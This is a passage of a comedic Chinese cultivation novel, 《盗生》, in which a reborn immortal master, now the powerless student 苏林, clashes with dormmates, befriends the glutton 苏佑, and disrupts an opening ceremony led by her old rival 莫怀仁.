《盗生》
1. 第 1 章
闫林秀抬头看着这座直插云霄的灵霄山,恍然记起当年第一次来这里的情形,恰巧也是从这里开始,她仰着头一直望着远处秀美壮观的山中景色,被震撼得难以合拢嘴,没留意脚下,脚抬得不够高,小腿磕在山阶上,留下的疤痕一直没消;也因为她这样的举止,被人嘲笑了整个初学。
不知是不是重生的原因,眼前的灵霄山看上去并没有记忆中那么高了。
“苏林。”
闫林秀转头看见有个师兄在一大群新生面前点名点得焦头烂额。
这一次,闫林秀成了苏林。
苏林没有尝试在这么嘈杂的环境里扯着嗓子答到,只是默默朝前排走去。
她左右看看,比上一次好,位置靠前了不少,但依然中靠后。
在灵霄山混迹了一场,总算明白,其实从一开始,点名的顺序就暗含了各人的实力----家族、天资和财力。
即便是修行,也得看这些。
一队人稀稀拉拉走到初云馆。
苏林的目光早早就落在了先贤碑上,从初云馆走出去的优秀先贤都在这里留了名字----不过得等这人死去。
苏林的目光从上到下,再从下到上,搜寻两遍,只在最角落处找到了白曜的名字。
原来他也死了,她倒下的时候,白曜明明还在支撑。毒龙一战果然惨烈,灵霄山填进去两个师尊。
连白曜都上了先贤碑,怎么会没有“闫林秀”?
夜里,苏林又偷偷跑到先贤碑前,一个名字一个名字用手指摸着找下来,落到最后的一个名字上。
她呆了好半天:怎么没有她的名字?
苏林一路把可能的结果想了七八条,等站在房门前,叹了口气:她只记得前世是闫林秀,但大部分的往事都不记得了。
这让她很难立人设啊!
是继续中正谦和,不丢了师尊的颜面;还是天真烂漫,放飞自我呢。
苏林边想边推门。
推不开。
她记得很清楚,出门前所有的舍友都已经睡了,为了防止有人起夜关门,她还特地把门栓藏起来了。
分明就是有人拿她寻开心了。
苏林无奈地冲里面说:“开门。”
里面无人应门,却传出有人嘻嘻低笑的声音。
不知怎么苏林心底突然窜起一阵邪火----本来以她前世的涵养,这事不算什么,这火气也不算什么,可这会儿就是压制不住,身体已经比理智先一步动作了。
苏林抬脚踹开了门,门又碰倒了什么,稀里哗啦响了一阵,屋子里的人都醒了。
“怎么了?”有人惊叫。
还有人在一片乌漆嘛黑中喝问:“造反啊!苏林!”
苏林嘲讽地笑了一声,上前一步,左脚把半扇半开的门踢开,人就当门一立,月光从她背后照进来,勾勒出一个黑漆漆鬼森森的人影。
屋里静了一静。
苏林感觉很古怪,不明白自己怎么会这么做,而且做得这么水到渠成,匪气十足。
旁边有人开始聒噪。
苏林刚刚平静的内心又躁起来,冲口而出:“都闭嘴!该干嘛干嘛去!”
虽说闫林秀是个好脾气的师尊,但到底是做过师尊的人,话语中的威势震得一屋子小姑娘噤声。
有人怕闹出大乱子,赶紧拦着道:“快去睡吧,让师姐知道,要关禁闭的。”
苏林心说这么点儿事,关个鸟禁闭。
这句话刚从她心头冒出来,又让她惊疑了:自己怎么会用“鸟”这个字,而且还用得这么......恰当,又娴熟?
自己这是怎么了?
莫非是这个叫苏林的小姑娘性子比较洒脱,所以她目前的性子随了本主?
苏林被人拉着上了床,脑子里还在纠结“鸟”的问题,结果脑袋一沾枕头,鼾声就响起来了。
满屋子又静了一回。
大家徜徉在苏林欢乐的呼噜声中迎来了在初云馆的第一天大集会。
但是苏林缺席了。
她以失眠药忘记带为由,请假回家拿药去了。
周围听到她请假理由的姑娘,眼睛都瞪红了,眼睁睁望着这货跟只兔子似的蹦蹦跳跳地下山了。
下了灵霄山的苏林心中很忐忑,在想是否有族中后辈,若是可爱的小家伙,怎么打发他们,对了,身上好像还剩一包山果,正好可以哄孩子。
可她绕了许久,竟然忘记了回家的路,七拐八弯,不知道走了多久,问了好久的路,才终于站在自家的祖宅前。
但一手山果落了地。
从前气派的大宅院,眼前只剩了三间泥瓦房,瓦还大半都没了,露出残败的大梁,一枝碗口粗的槐树从空空的房顶上探出,前面的空地上一片凄凄荒草,身后的河堤上长满了不知名的灌木,把记忆中美丽的湖光水色遮挡得严严实实。
苏林呆愣愣不知所措。
她抓住一个路过的老人,问:“借问老人家,闫家、闫宅迁去哪里了?闫家人呢?”
老人看她是年轻的小姑娘,眼中有些好奇的神色,口中答道:“他们家人都死完了,没人了,房子放着就放坏了。”
“怎么会死呢?他家有人是修士,灵霄山会供养啊!”苏林不死心地说。
老人回道:“供养也得人还在啊!哎,生老病死,前些年疫病,都死了。”
苏林怔住了,见老人要走,她忙又问:“那闫家人的坟在哪里?”
那老人上下看她一眼,抬手给她指了个方向。
苏林找遍了整个山头,最后又问了几个砍柴人,返回到半山腰,见到一个波光粼粼的山间湖泊,闫家的祖坟已从起伏的坟包变成了一片水泽。
她深深地吸了一口气,不知是吐出了什么,还是叹息什么。
苏林心里堵得慌,应该是很难过,可又没那么难过,她觉得奇怪,不想立马就走,就蹲在一汪碧水前,默默把前世所有的零星记忆翻出来回想了一遍。
未上山前,闫家有五位叔伯同住,她是他们小家中的独女,在双亲膝下养到十二岁,为了修仙把一切抛开,离家入山,想不到这一别竟是永别。
旁人都说修行能光宗耀祖,不料换来这样的结局。若是她不曾去灵霄山,与爹娘亲人一起快快活活过几十年,总比喂了毒龙、像如今这样不明不白的好。
她有点儿后悔了----去特么的修行,修个鸟的行!
骂完很爽。
苏林很确定,自己变了,不再完全是闫林秀。
是因为换了躯体,又过了太多年吗?
总之并不怎么悲痛。
苏林再三确定,只觉得这个“不甚悲痛”的结论有些荒谬,但又很合理、很自然,这种感觉颇为奇怪。
苏林心情复杂,窝着一腔惆怅,回到初云馆。
此时,已经过了饭点,她也懒得绕道去食堂说好话,直接回了住处。
门内几个小姑娘围在一起,亲亲热热地说着话。苏林抬脚进去,周围人见是她,都不说不笑了。
苏林心情正纠结呢,只觉心烦,倒不是有意见,对这么群隔了辈分的小丫头懒得敷衍,真不想这么多人住,叽叽喳喳太闹腾,吵得她脑仁疼。
真怀念住单间
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的岁月啊!
苏林不想掺和,人家反倒站了个三足鼎立的位置,把苏林夹在中间了。
苏林心烦之余觉得正好,疏散疏散筋骨,泄泄心头火。就是有些难为情,她那身修为,对付这些未开蒙没修行的小家伙,那就跟操牛刀杀小鸡仔儿……不,跟天雷劈蚊子一样啊!
一个高个子姑娘,往她跟前一戳,说:“其他人,该干嘛干嘛去!”
哟呵,苏林心说这届里还进了这么个脆嘣嘣的俏丫头,不好意思了,年纪小不知道韬光养晦,一伸手就惹错人,就当给小家伙们上人生第一堂课吧。
苏林要笑不笑地盯着她,看她怎么出招。
俏丫头没出声,保持拽拽的姿势,倒是旁边的一个姑娘开腔:“你这时候认错还来得及。”
苏林翻个白眼:怎么都过了几十年,还是这么老套的伎俩?
这些后辈都在干嘛?
后浪就要浪起来啊!
重蹈前浪的覆辙有什么意思?
苏林见对方还要说,没了耐性,抬手打断对方的套路,说:“套路就省了,想怎么解决?”
对方了愣一愣,三双眼睛直对眼风,看苏林这么硬,有点儿阵脚不稳了。
俏丫头说:“不怎么,你昨晚上害得我没睡好,让你扫地,不过分吧!”
苏林心说这小丫头还挺有趣,派头撒得大话却又软又娇,她想笑,怕破坏气场,赶紧低头掩过,目光自然而然地落在扫帚上。
她不是苏林而还是闫林秀吗?
这一幕不正是当年发生的吗?
小小的自己就因为这次遭遇结识了第一个好友肖风铃。
苏林沉浸在回忆中,不自觉如同前次一样,接过了扫帚。
多么奇妙啊!这么多年前的事情,以为自己已经忘记,竟全部都记得,恍若昨日。
苏林感叹着,目光又落回眼前几张不认识的小脸上,突然醒悟:重生了啊!
不是熟人了啊!
那就好办了啊!
她呵呵一笑,不知笑什么,挑起眼皮飞了那俏丫头一眼,有点儿像调戏。
对方见她如此作派,越发拿不准苏林的能耐了,眼神往旁边同伴身上瞟,小姑娘的色厉内荏彰显无疑。
苏林看她这副样子,本想让她们好好长长记性,转念还是算了----初来乍到的,没必要,真没必要。
她低头看了看手里的扫帚,把上有个木钉,方便挂在墙上,顿时有了主意:把这木钉拍下来,留个纪念,顺便震慑一下这三个娃娃吧,也让她们知道天外有天人外有人,谦虚谨慎点儿总不是坏事。
苏林暗暗收神,把扫帚横握在身前。
上面的木钉修的十分草率,毛刺都有,也不知是哪个家伙偷懒随便糊弄的。
既然她也是新进的小辈,法力太高深惹人怀疑,小辈就该有个小辈的样子,直接上手劈吧,反正也不是难事。
苏林抬手的同时,为了壮声势,很节制地喝了一声:“破!”
应声。
“吧嗒”一滴红色的液体滴在了地上。
扫把上那根木钉从苏林小拇指戳进去,从食指上冒了个尖儿,等于把四根手指串了个串。
围观的小姑娘们见了这一幕,一个个眼瞪得老大,有不行的已经捂着眼睛叫起来:“啊~~~”
那三个“三足鼎立”隔得更近,这血肉模糊的一幕,让他们眼睛都直了,人都懵了。
苏林也懵了,确定是自己的手在疼之后,死咬着后槽牙,在心底嚎叫:我特么!本尊的修为呢!本尊的法力呢!本仙尊的天雷和牛刀呢?!
2. 第 2 章
虽然劈扫帚这事没按苏林的设想走,但后续结果意外的好----现在没人敢惹她。
苏林是为了不扫地,能把自己手指串一块儿的人,这得多狠呐!
而且因为“好勇斗狠、恐吓同门”,苏林被送去禁闭室住单间去了,算是完全实现了既定目标。
苏林事后总结,这事最后没砸、自己的面子没丢完,是最后关头她绷住了,就算疼得要死,她也没露一点儿声色!
她觉得自己这躯体本主挺狠,应该是个厉害角色,好好培养,是颗好苗子。
可是谁来告诉她,这具狠硬的躯体带不动法术可以理解,但为什么最简单的修行方式,吐纳调息都难以顺畅,跟没修行的凡人一样?而且,她前世的招感是水,这副壳子就是跳进碧水天池里了,也没有一丁点反应。
更直白地说----她记忆中的、已经操控得炉火纯青的那些高深的控水法术全都没有用!
更直白地说----她重生成了一个凡人,只带B格不带实力的那种。
苏林很纠结,那这辈子到底是吃饱了撑的艰苦修行呢,还是遵从本心放飞自我潇洒度日呢?
字面意思都这么直白了,苏林的选择一目了然。
其实苏林从上一世开始,就不喜欢修行,因为她讨厌练气。
大概是启蒙太晚,天资也不咋地,练气这样简单的事情在她这里格外难。
口诀她都背烂了,但做起来太难。
人家三年出馆,她是三年调息,总比人家晚几年,搞得她整个修行阶段都很焦虑,夜以继日苦苦修炼也不过险险跟上同门们的节奏,勉强做到师尊,还是个副手,辛苦折腾了半辈子,未有大成。
现在想起来,挺没劲的。
苏林不想再来一次,这次就悠悠哉哉过点儿小日子吧。
所以从禁闭室出来,苏林痛改前非,把灵霄山弟子规训仔仔细细看了一遍,不过跟闫林秀不同,闫林秀是仔仔细细抄了一遍哪些不能做,想着只要自己努力不去触犯就成了,规规矩矩做了一世人。
这一次她看的只是惩罚规则,归纳了下,大体分为五种,最轻是抄写弟子规训,进一层是关禁闭,第三是打屁股,第四是重重地打屁股,第五是断灵脉逐出师门。
最后两个大多需要涂炭生灵、欺师灭祖之类,以苏林目前的情况来看就是想犯都难,她力所能及的就只有前三个。
抄书就抄呗,还不用去干活了,挺好;
关禁闭也没什么,只不过没人说话,反正等修得小成也一样孤单;
打屁股,皮肉之苦罢了,还能得个师兄弟伺候吃喝,再说了皮肉之痛怎么比得上自由自在重要呢?
苏林心中有底了,所有的处罚,她都能够接受也能承受,那这灵霄山的初云馆就是她的天下了,反正做了坏事,后果她接得住。
苏林摩拳擦掌----她也不明白自己怎么这么兴奋,不就是决定躺平么?
至于这么激动?
当年日夜苦修考了第一的时候也没这么兴奋啊!
苏林在初云馆转了一圈,只想找个茬立个威,把人设打牢点儿,可周围人一见是她,都离她三丈远。
那是苏林不知道,她不在的这三天,“苏林”这名号已经传遍了初云馆上下。
威已经立起来了,不用再立了。
不过就是名号方面有点儿特别。
吃饭的时候,苏林端着饭碗才坐下,就听背后有人问。
“你就是‘肉串苏林’?”
她还在疑惑什么“肉串”,今天桌上没这道菜啊?转身就看见一个高大的白胖子,跟削了皮的冬瓜似的,目光炯炯地看着她。
苏林左右看周围没人应,于是指着自己反问:“肉串?苏林。”
“久仰大名,我跟你是本家,我叫苏佑。”苏佑很大胆地绕到苏林旁边的位置上坐下。
苏林还想问,这时候上菜了,苏佑含笑对苏林做了个暂放一放的手势,伸出筷子开始夹菜。
关禁闭没荤腥,苏林肚子里的油水被刮没了,闻到肉香,也暂且把这事放一放,先吃。
她夹了两筷子红烧肉,就旁边的听苏佑说:“师兄,我还想要个碗。”
苏林扭头一看,苏佑那大海碗里肉跟菜已经堆得跟小山一样,吃惊之余又觉好笑。
管饭的师兄一见苏佑,顿时恼火道:“苏佑,你能吃完了再夹吗?从自己碗里夹菜和从菜盘子里夹菜吃,不是一样吃?”
没料到大块头苏佑竟委委屈屈地小声道:“我怕我吃得慢,没菜了。”
师兄懒得管他,说:“一人一个碗,多的没有。”说罢走了。
苏佑蹙了蹙眉头,把堆满菜的碗往旁边放了一放,嘟囔道:“那就从菜碗里夹吧!”说着,他伸出筷子,一筷子叼了半条鱼回来。
苏林一惊,她留意到其余人都还处在初到新环境的羞涩中,全都慢条斯理地闷头吃着“装腔做作饭”,根本没留意这边。
也就苏林这一愣神的功夫,苏佑就把半条鱼塞进嘴里,进去的是鱼,出来的是骨头,骨头还没吐完呢,伸手又捞了一大块肉。
苏林见状大惊,也顾不得其他人了,赶紧上手把另外半条鱼抢先夹了过来,又夹了一块肉,余光瞥见苏佑的筷子已经伸向糖醋排骨,也赶紧跟上,飞快地把桌上每一道菜都夹了一块,刚松口气,就听有人问:“咦,怎么菜没了?!”
苏林夹菜的功夫,苏佑那边已经扫荡了大半桌的肉菜,盘子里只剩下些菜叶子。
桌上的人夹菜时,才发现肉都没了,众人抬头,看见苏林和苏佑碗里的鸡鸭鱼肉堆成了两座小山。
苏林觉得很尴尬,刚想着怎么解释,苏佑在一边委屈地说:“我块头大,怕不够吃,就先夹在碗里,慢慢吃。那我不吃了,你们吃吧。”说罢把肉山往中间一推。
苏林眼珠子都快掉出来了----白胖子!你是吃饱了,可我还没开始吃啊!
众人的目光已经从苏佑身上转到了她身上。
苏林觉得压力很大,心想这小子是不是故意来砸场子的,只是这种砸场子的方式太让人意外了。
“苏林!‘肉串’那个!”有人认出苏林,小声嘀咕,众人的目光顿时变了,一个个都低下头去,默默地低调地抢剩下的菜叶子吃。
苏林举着一碗肉,心情很复杂,一错眼,瞥见旁边坐着的这货,竟然把筷子伸向了那碗推出去的肉山。
苏林忍不了了,一筷子打上去,说:“你怎么还吃?!”
苏佑一愣,十分留恋地望着肉山,说:“那我不吃了。”把肉山端来往苏林跟前一放,说:“你吃吧。”
他双手捧着碗,姿势像上供,很卑微。
苏林心头烧起无名火,接也不是,推也不是,又发作不了,只觉得这去皮冬瓜比什么毒龙难对付多了,起码毒龙能打,这货你找不到合理的理由下手啊!
苏林深吸一口气,把筷子一放,问:“你到底来找我做什么?”
苏佑怔了一怔,才想起前情,说:“就是久仰大名,想认识下。”
苏林说:“好,这
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下认识了?你也吃饱了,可以走了?”
苏佑的手始终捧着碗没撒手,看了看苏林,又看了看肉,问:“那这碗肉你吃吗?”
“不吃!”
“那我抱走了啊!”苏佑说完抱着肉山从容而去,留下目瞪口呆的一桌人,和一桌子干净得跟舔过似的盘子。
晚饭的时候,苏林又遇见苏佑了。
一桌就坐了他俩,其他人宁愿去其他桌上插空,也不留下跟他俩一块儿坐。
两人对着一桌菜,频频受到四面八方的关注,苏林觉得自己这张两世老脸都不够厚,气哼哼地问:“你干嘛跟我坐一桌?”
苏佑说:“中午不是这么坐的吗?”
苏林......
苏林懒得说了,把筷子举起来时,桌上的内容已经少了一半,她看着苏佑的动作琢磨出点什么,放下筷子,问:“你是不是饭量大,吃不饱,怕同桌人说,借我的名号来蹭饭啊?”
苏佑从海碗里抬起头,憨憨一笑,算是认了。
苏林好笑,说:“你就不怕我?”
“能对自己下手的人,一般对自己人下不了手。”苏佑笑呵呵地说。
这句话让苏林觉得有点意思,正眼重新打量苏佑----这冬瓜近看皮肤更好,又白又细,几乎没有毛孔,男孩子也是一白遮白丑的,更何况苏佑长得浓眉笑眼,一点也不丑。挺有意思的一个孩子。
“自己人?谁是你自己人?”苏林问。
苏佑弯弯的眼睛斜看着苏林,看得苏林也跟着笑了,忍不住逗他,问:“我要是只会串手指,其余都不会呢?”
苏佑说:“那不能!我会望气,你的气场大着呢!是我们这些人里最大的,是条大腿。”
苏林闻言心中一惊,对这个苏佑另眼相看----会望气的人大多天资超凡,生来就比寻常人易于修行,若有那么一两个,都是各大门派争夺的顶尖生源。
这货还是个天纵奇才?
她也一时拿不准苏佑是随口说说,还是真的身怀异能。不过这孩子她看着还算顺眼,挺有意思的,一起吃饭就一起吃饭吧。
苏林重又把筷子举起来,准备吃饭,叹了口气,又把筷子放下了----桌上别说肉了,菜叶子都光了,就剩了些葱花。
苏林拍拍苏佑的肩膀,让他慢慢吃别噎着,心中暗暗打定主意:以后吃饭的时候一定要专心,不要说话----特别是跟苏佑坐一桌的时候。
苏佑扫了眼桌上,也觉得有些不好意思,说:“哎呀,怎么都被我吃光了!瞧我,又没忍住。”
苏林心说你还知道,就算还存了点儿良心。
“幸好我帮你留了点儿。”苏佑说完从背后拉出个灰扑扑的布袋来,打开一看,满满一袋子山果,还有个不知什么鸟的蛋,花斑壳子似乎是鹌鹑蛋,敲开一看,还是熟的。
苏林笑了,觉得这苏佑小家伙还真有几分可爱,笑着捡了几个黄澄澄的果子擦擦吃了。
味道不错,还有股子莫名的清香味。
苏林是识货的,这灵霄山灵气充裕,不仅适合人修炼,还适合三界动植物生长修炼,这才开春,就已经结了果的,味道还这么好,应该是吸收了天地精华的灵果。
细细一品,果然一股清凉之意顺着喉咙沁入心脾。
她瞥了这小子一眼:他运气还挺好,上一辈子闫林秀都没找到过这种果子,他初来乍到竟然翻出来了,大概是真的会望气吧!
果然天赋异禀的人,做什么都要容易些。
真让人羡慕。
3. 第 3 章
苏林吃完半筐果子,被苏佑催着去看排名,一不留神把个那鹌鹑蛋囫囵吞下去了,她也不在意,反正嘴里肚里都是消化,擦擦嘴就随众人去看榜。
灵霄山初云馆虽说是修行界的初学馆,其实更像是世间的启蒙学堂。
理论上世间万物有志者都可以修行,但真正适合修行的、能走上修行道路的是少数。
每年初云馆收入三五百学童,三年后能选出一成正经拜入灵霄山门下,就算很不错了。
所以初云馆索性承担起开蒙讲学的公益,广收山下幼童,教他们认字读书、防身之术,再从中筛选出合适的人培养,走上修行之路。因学生学习期间不用交束脩,还包吃包住,周围人家也乐意将孩子送来,即便不能成为修行者,见见世面也是好事。
这一届,竟然只收了七十六个人。
苏林由衷感慨,灵霄山凋敝如此了?她不在的日子里发生了什么?
就这么几个人,还搞了个入学初试。
白天才考完,傍晚就出了成绩。
苏林苏佑姐弟俩顺着榜单往下找,在最末尾找到了两人的名字:苏林排名七十五;苏佑七十六。
苏佑有点儿开心,没心没肺地说:“七六,‘吃喽’,这个数适合我,我喜欢。”
苏林觉得苏佑的排名有点儿奇怪,能望气的人才怎么会垫底呢?不过他本人都乐意,旁人还能说什么?
她面上笑嘻嘻切了一声:“真是,抢饭抢菜就算了,连倒数第一都跟我抢,真兄dei!”
本以为就一个班,没想七十六个人还分了两个班,于是苏林和苏佑就分别成了两个班的吊车尾。
这样一分,苏林觉得蛮有意思,可苏佑不开心了:“我不喜欢三十八这个数字,‘三八三八’多像‘散吧散吧’,兆头不好!”
苏林乐呵呵地开解他说:“没事,不过就是个排序嘛!你下次考试考好点儿,不就排到前面去了?”
苏佑还没开口,就听分班的师兄说:“大家记住自己的名次,这就是你们往后的班号,不会改变。”
班号是近几年才兴起的,苏林也不知道,只好又说:“师兄说的应该是整体排名,你还是七十六。”
另一个师兄抱着一个木盆,看了看他俩,把两个牌子塞到苏林和苏佑手里,说:“喏,班牌,你俩的。”
两人接过来一看,上面刻着阴文“三八”,苏林的是红的,苏佑的是蓝的,背面还分明刻着他们的名字。
苏佑眉头一皱。
苏林忙说:“不就是个牌子么,你把他扔到个看不见的地方不就得啦!”
“大家注意!班牌非常重要,除了睡觉,时刻都要带在身上。”那边师兄发完腰牌大声交代。
眼见苏佑就要哭了,苏林沉吟片刻,终于劝道:“算啦,你要换个角度想。你现在不喜欢它,说不好过一段时间......”
“过一段时间我也不会喜欢的!”苏佑重重地说。
苏林笑了:“是啊,比起过一段时间更不喜欢它,现在还是最喜欢它的时候呢!所以现在就是你跟它难得的蜜月期,要珍惜眼下。”
苏林说完拍拍苏佑,飘然而去。
苏佑愣了足足有一刻钟,才绕出来,哼哼唧唧地戴着班牌,跟着师兄去了水一班,开始了初云馆求学生涯。
苏林自个儿散着步去了火二班。
这俩班名字取得,啧啧,这草台。
苏林踏进火二班,感觉周围熟悉又陌生。
此时,从门口进来一个年轻的师兄,虽然故作沉稳,但那激动又紧张的情绪根本遮掩不住。
他看人坐满了,开始介绍:“大家好,在初云馆的时间被山门中称为初学,我就是你们初学阶段的班长,段草堂,负责你们的学习和生活,以后有任何问题,都可以来找我。”
他说着把一叠子练习本分给第一排的同学传下来,继续说:“在初云馆有四门课,上午学识字、道德、体术和练气,下午体验活动或者自由活动。初学毕业没有固定的时间限制,只要是通过初学考核就算毕业,希望各位新同学要努力修炼,争取早日拜师。”
这段介绍在苏林看来,这段介绍层次不够清楚而且啰嗦了点儿,不算合格。
但其他的小道友们听完很捧场,七嘴八舌地闹起来,有人问:“考试什么内容啊?”
“一直毕不了业怎么办?”
“可以住单间吗?”
“我想吃小黄花鱼。”
“隔壁班那个最拽的同学叫什么名字啊?他好帅!”
“我不想跟小花同桌......”
......
乱七八糟,什么问题都有,而且逐渐偏题。
苏林对这一切都熟悉得很,看着眼前焦头烂额的段班长,掂量着这人不知是哪位师尊门下的徒孙还是徒重孙了。
不过跟她关系不大,反正她也没什么问题要麻烦班长。
这些初级得不能再初级的课程,她哪里还用听?信不信,当下她就能拈出个高阶碧水咒出来,还是全灵霄山除了她就没人拈得出来的那种。
只不过她从前修的是水灵,如今这身躯是火灵招感,水火不容,怎么修?修习得越高,灵力越充盈,反倒容易走火入魔,不得好死。
上辈子修得太累,这辈子......
想想还是算了吧。
认真回想起来,其实在灵霄山中求学的那段初学岁月,才是人生中难得的,快乐又单纯的一段时光了。
有人说人难以同时拥有青春和对青春的感受。
珍惜吧!
她叹了口气,换了个姿势继续发呆,正巧望见从门口走进来的一个人,有点眼熟。
苏林再看一眼,终于认出这人是闫林秀的老同窗莫怀仁----变得沉稳内敛、灵力高得一塌糊涂的莫怀仁。
苏林如何也想不到当年那个一戳就炸毛的小子还会有今天这幅人模狗样的时候。
这种情况还挺有趣,苏林兴致稍微高了点儿,哟了一声,调侃道:“你到底是想怀仁,还是不怀仁?”
这是闫林秀上辈子听了莫怀仁这名字后第一个念头,但是没敢问出来。因为那个一身红袍的嚣张小子是灵霄山的世家子弟,跟闫林秀这样的凡人弟子隔着十万八千里。
那时候闫林秀已经切身体会过仙途上与人间的相似,也有三六九等。
苏林是自言自语,但没压着音量,莫怀仁此时耳聪目明,从嘈杂的环境中竟听到了,眼风一抬,朝她望来。
苏林心里头根本没当回事,但念在他站在台上好歹是师尊,给他几分薄面,于是特地稍微正了正身子,笑了一笑。
这时听得后面一阵嘈杂,苏林回头一看,火二班的后墙没了,露出一张张稚嫩的小脸、一道道清澈又惊(愚)奇(蠢)的眼神,那是水一班的小伙伴,苏佑看到苏林后还探身朝她打了个招呼。
苏林这才发现,原来这两个班是用一块大屏风隔开的,拆了就能合成一个大堂。
真巧妙,也真节俭。
苏林不禁感叹:灵霄山已经这么穷了吗?
今天第一课是开课典礼。
莫怀仁是被请来开课的师尊。
莫师尊大概是考虑到场合,没想抓几个调皮捣蛋的立威,也可能是自忖身份,就警告苏林了一眼而已。
苏林顿觉好笑,这小子好歹长进了,若是从前,早就咋哇乱叫,大打出手了。
果然岁月把人抛啊!
莫怀仁的到来让班里的小娃娃们仿佛打了鸡血,两眼冒光地听他说最简单的练气道理。
练气虽说名叫练气,其实质是控制自身,包括气息、肌肉、骨骼和心神,先熟悉自己的身体,然后能举重若轻的控制自己身体的每一个部位,因为这一阶段多是从练习气息开始,所以取名“练气”。
有人觉得这很简单,其实很难。
练气的最终考核,是用一把匕首劈开一根自己的头发。需要眼力好、气息稳,手劲准----只有能够精准的控制自己的每一块肌肉,才能完成这一考核。
莫师尊在讲解完后,难得地耐心,竟自扯下一根头发,随手拈住一片落叶为刀,从发根劈下,只见那根尺余长的青丝被阳光照得如蚕丝般透明,莫怀仁指尖的叶刀从容转动,最后轻轻地一断,众人似乎听到“铮”一声,青丝爽爽利利地被劈成了两边。
不得不说,这小子这一手潇洒从容,尽显师尊仙风道骨,引得小屁孩儿们连连称奇,连段班长都张大了嘴不知傻乐些啥。
看得苏林直翻白眼,暗骂一声:江山易改本性难移,这小子还是那么爱装!
莫怀仁在演示完毕后,朝最近的小孩子点点头,说:“你来,我带你走一遍气息。”
被点中的孩子懵懵懂懂,在段师兄略显羡慕的眼神中,走到莫怀仁跟前的蒲团上坐下。
苏林见状,倒想起来了。
师长、师尊带着走一遍气息,让小家伙们感受一下气息游走,好便于修行,上一世也有过。
不过那时没点中闫林秀这个小透明,她太含蓄了。导致后来在练气上,闫林秀多走了弯路,未体会到师长亲身引进点播,让她深以为憾。
所以这一次,她根本就没给其他人机会,眼见莫怀仁这一个快游走完,她也顾不得怀仁不怀仁了,不举手不请示,直接抬脚,以迅雷不及掩耳之势冲到了莫师尊面前,拨开几个叽叽喳喳的小同学,也不管他们说什么:“师
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尊选我,我最崇拜您!”
“师尊,选我选我,我最听话!”
“我的资质最好!”
......
她两手一把握住了莫师尊的手,坚定的说:“我!”
莫怀仁愣了一愣,看着苏林一时没说话。
苏林从他眼中看到了一点疑惑----莫非要给个不能拒绝的理由?
苏林脑子一转,说:“不选我,我就从凌霄台上跳下去!”
凌霄台上跳下去,即是斩断灵根。
这的确不大好拒绝。
莫怀仁抽出手,淡淡地说:“那倒不必。”做了个请的手势。
两人对面坐下,莫怀仁用一只手捏住苏林的手腕。
苏林闭上眼,马上就感觉到自己进入了一种很玄妙的状态:她闭着眼,但好像仍然能看清周围,甚至能看清自己,有一缕气息从手腕处进入,霸道地领着体内混沌的气息冲关过穴,游走到胸口时,突然冒出来一团白蒙蒙的气团,阻住了莫怀仁的气息。
那边莫怀仁也有些诧异,以他的修为,给小朋友们渡气那是天雷劈蚊子啊,怎么卡住了?于是稍稍加大了气息。
苏林觉得胸口有些难受,眼前突然冒出一些零碎的画面,那是一双少女的手,在一次次尝试着劈开头发,这一次依然没有成功,反而伤了手,血汩汩往外冒,落在地上的一堆碎发上。
她想起来了,为了练这个,那一年她都快秃了。
苏林真切地感受到当时的焦虑,她更有点儿生气----这孩子怎么这么实心眼儿呢?干嘛拔全根,不知道剪断吗?
苏林胸中那点星火般大小的怒气像落入一蓬干草堆里,“砰”地一下勃然暴怒。
与此同时,莫怀仁掂量着再次加大气息,终归冲开了穴道,但两股气息太霸道,以苏林的躯体根本抑制不住,这股气如脱缰的野马,冲口而出。
等这波烟雾过去,众人才发现被苏林一同喷出来的还有一个东西。
滴溜溜滚到了苏林脚边,她低头一看,是颗完整的鹌鹑蛋,圆滚滚的还在打转。
因为苏林这波是贴脸开大,又是零帧起手,进入半入定状态的莫师尊毫无悬念地没躲开这两波攻击,尤其是第二波。
其实,别说莫师尊了,就是师祖他老人家来了,也躲不开啊!
你说,谁能想到鹌鹑蛋能当暗器?
还藏在嗓子眼儿里?
这谁能想到?
所有人都被这一幕惊呆了,典礼会场上静悄悄的。
只见莫师尊额头偏下位置、双眉中间缓缓出现了一个非常规整的圆形,而且越来越明显,越来越红,跟师尊白净的面皮一比,格外醒目。
说是美人痣吧,大了些。
说是开了天眼吧,圆了点儿。
在这个圆圈的衬托下,莫师尊整个人似乎有一点点虚化。
怎么说呢,就是一眼看过去,看到的就是这个红圈,就不会注意到下面的五官;再仔细一看,就会开始研究这个圈的形成原因和有何妙用,也会忽视了这人的五官样貌,仿佛红圈就成了这个人最醒目的标志,根本用不着用五个器官的微妙差别来跟别人区分。
下面静悄悄的,就有人开始琢磨了:这苏林是跟莫师尊有仇吗?打从莫师尊进门开始,苏林脸上就显露出三分讥诮、三分凉薄和四分不屑。
到底有什么仇呢?
非得用这种方式报?
这种报仇方式,实在是太小众了,真让人防不胜防!
但是也没啥实际伤害啊!
就在此时,仿佛空气中不知从哪里冒出一个小人儿,突然跳上莫师尊肩头,指着师尊的鼻子问:“你就说脸疼不疼吧!”
参加了这么多次开学典礼,今天才知道“顺利召开”四个字居然不是废话,“圆满结束”不是凑字数。
段草堂班长资历尚短,没料到会出现这种突发情况,临场反应不大行,张着的嘴能塞下十个鹌鹑蛋。
好在邻班的班长江城年纪稍长,是个的挣扎多年才上岸的留级生,见多识广,处变不惊,主动接过了掌控权。
他站上讲台,发言道:“啊,今天啊,非常感谢莫师尊百忙之中莅临初学馆,亲自指导同学们练气之法。我们的同学们也是格外的热情,啊,还给莫师尊赠送了精心准备的小礼品,我相信这份心意啊,一定给莫师尊留下了深刻的印象,常记心间。啊,总之,这次开学典礼,是师生尽欢的,是非常成功的!最后,我建议,再次用热烈的掌声欢送莫师尊!
“另外,来两个同学,把这位有幸受师尊亲自教导,激动得晕过去的同学送去医馆。”江班长随便点了两个壮实点儿的同学去扶苏林,然后转身宣布:“散会!”
4. 第 4 章
苏林跟莫师尊没仇。
是上辈子的恩怨。
闫林秀一直看不惯莫怀仁,莫怀仁也不爱搭理闫林秀。
算起来他俩没啥大过节,纯粹就是看对方不顺眼,闫林秀看不惯莫怀仁仗着家世好,占了便宜还非一副“我成功全靠我自己,尔等都是渣渣”人五人六的样子。
莫怀仁又不傻,怎么感觉不出来?再说他也看不惯闫林秀成天“你出身好怎么样,还不是跟我一个水平”的骄傲样子,是而两个人心里都有个疙瘩,互相不爽
可这一次,纯粹是意外。
苏林神识已经醒了,但眼睛睁不开。
